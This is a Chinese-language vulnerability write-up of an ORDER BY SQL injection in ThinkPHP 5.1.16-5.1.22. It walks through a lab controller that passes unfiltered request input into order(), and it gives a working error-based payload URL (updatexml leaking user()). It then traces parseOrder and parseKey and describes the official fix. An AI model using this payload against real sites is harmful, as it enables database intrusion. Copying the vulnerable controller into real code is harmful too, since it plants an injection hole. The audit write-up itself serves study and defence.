ThinkPHP5.1.x SQL注入(orderby注入)
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ThinkPHP5.1.x SQL注入(orderby注入)相关的知识,希望对你有一定的参考价值。
漏洞概要
- 本次漏洞存在于 Builder 类的 parseOrder 方法中,由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL 注入漏洞的产生
- 漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22
初始配置
获取测试环境代码
composer create-project --prefer-dist topthink/think=5.1.22 tpdemo
将 composer.json 文件的 require 字段设置成如下
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.22"
},
然后执行
composer update
下载后的源码中,需要对
application/index/controller/Index.php
内容进行修改
<?php
namespace app\\index\\controller;
class Index
{
public function index()
{
$orderby = request()->get('orderby');
$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();
var_dump($result);
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
}
在
config/database.php
文件中配置数据库相关信息,并开启config/app.php
中的app_debug
和app_trace
,创建数据库信息如下
create database thinkphp;
use thinkphp;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'H3rmesk1t');
漏洞利用
Payload
http://127.0.0.1/cms/public/index.php?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
漏洞分析
首先数据都会进入到
Request
类中的input
方法,并且经过filterValue
方法的过滤和强制类型转换并返回$data
这里
array_walk_recursive
函数对数组中的成员递归调用filterValue
过滤函数,但是filterValue
过滤函数,不过滤数组的key
, 只过滤了数组的value
,用户输入的数据会原样进入框架的 SQL 查询方法中,进入Query
类
恶意Payload 未经过任何过滤直接传递给
options['order']
中
接着调用
find
方法,此处$this->connection
是think/db/connectior/mysql
类 ,继承于Connection
类,于是此处继续调用该类的find
方法
该方法继续调用了
$this->builder
, 即think/db/builder/Mysql
类的select
方法,该方法通过str_replace
函数,将数据填充到SQL语句中
然后调用了
parseOrder
方法,跟进该方法,$order
是输入的数据,然后经过了parseKey
方法处理后返回给$array
,跟进查看该方法的实现
protected function parseOrder(Query $query, $order)
{
if (empty($order)) {
return '';
}
$array = [];
foreach ($order as $key => $val) {
if ($val instanceof Expression) {
$array[] = $val->getValue();
} elseif (is_array($val)) {
$array[] = $this->parseOrderField($query, $key, $val);
} elseif ('[rand]' == $val) {
$array[] = $this->parseRand($query);
} else {
if (is_numeric($key)) {
list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' ');
} else {
$sort = $val;
}
$sort = strtoupper($sort);
$sort = in_array($sort, ['ASC', 'DESC'], true) ? ' ' . $sort : '';
$array[] = $this->parseKey($query, $key, true) . $sort;
}
}
return ' ORDER BY ' . implode(',', $array);
}
跟进
thinkphp/library/think/db/builder/Mysql.php
,该方法在变量$key
的两端添加了反引号进行拼接并且没有任何过滤
最终返回了一个带有 ORDER BY 的 SQL 注入 payload 给要执行的SQL语句,实现 ORDER BY 注入
完整的方法调用,从下往上
漏洞修复
官方的修复方法是:在拼接字符串前对变量进行检查,看是否存在
)、#
两个符号
攻击总结
参考Mochazz师傅的审计流程
以上是关于ThinkPHP5.1.x SQL注入(orderby注入)的主要内容,如果未能解决你的问题,请参考以下文章
sql注入 and 确认了注入点,但order by 无论多少都不会报错 是啥原因?
sql注入进阶-报错注入盲注order by注入二次注入SQL注入绕过速查表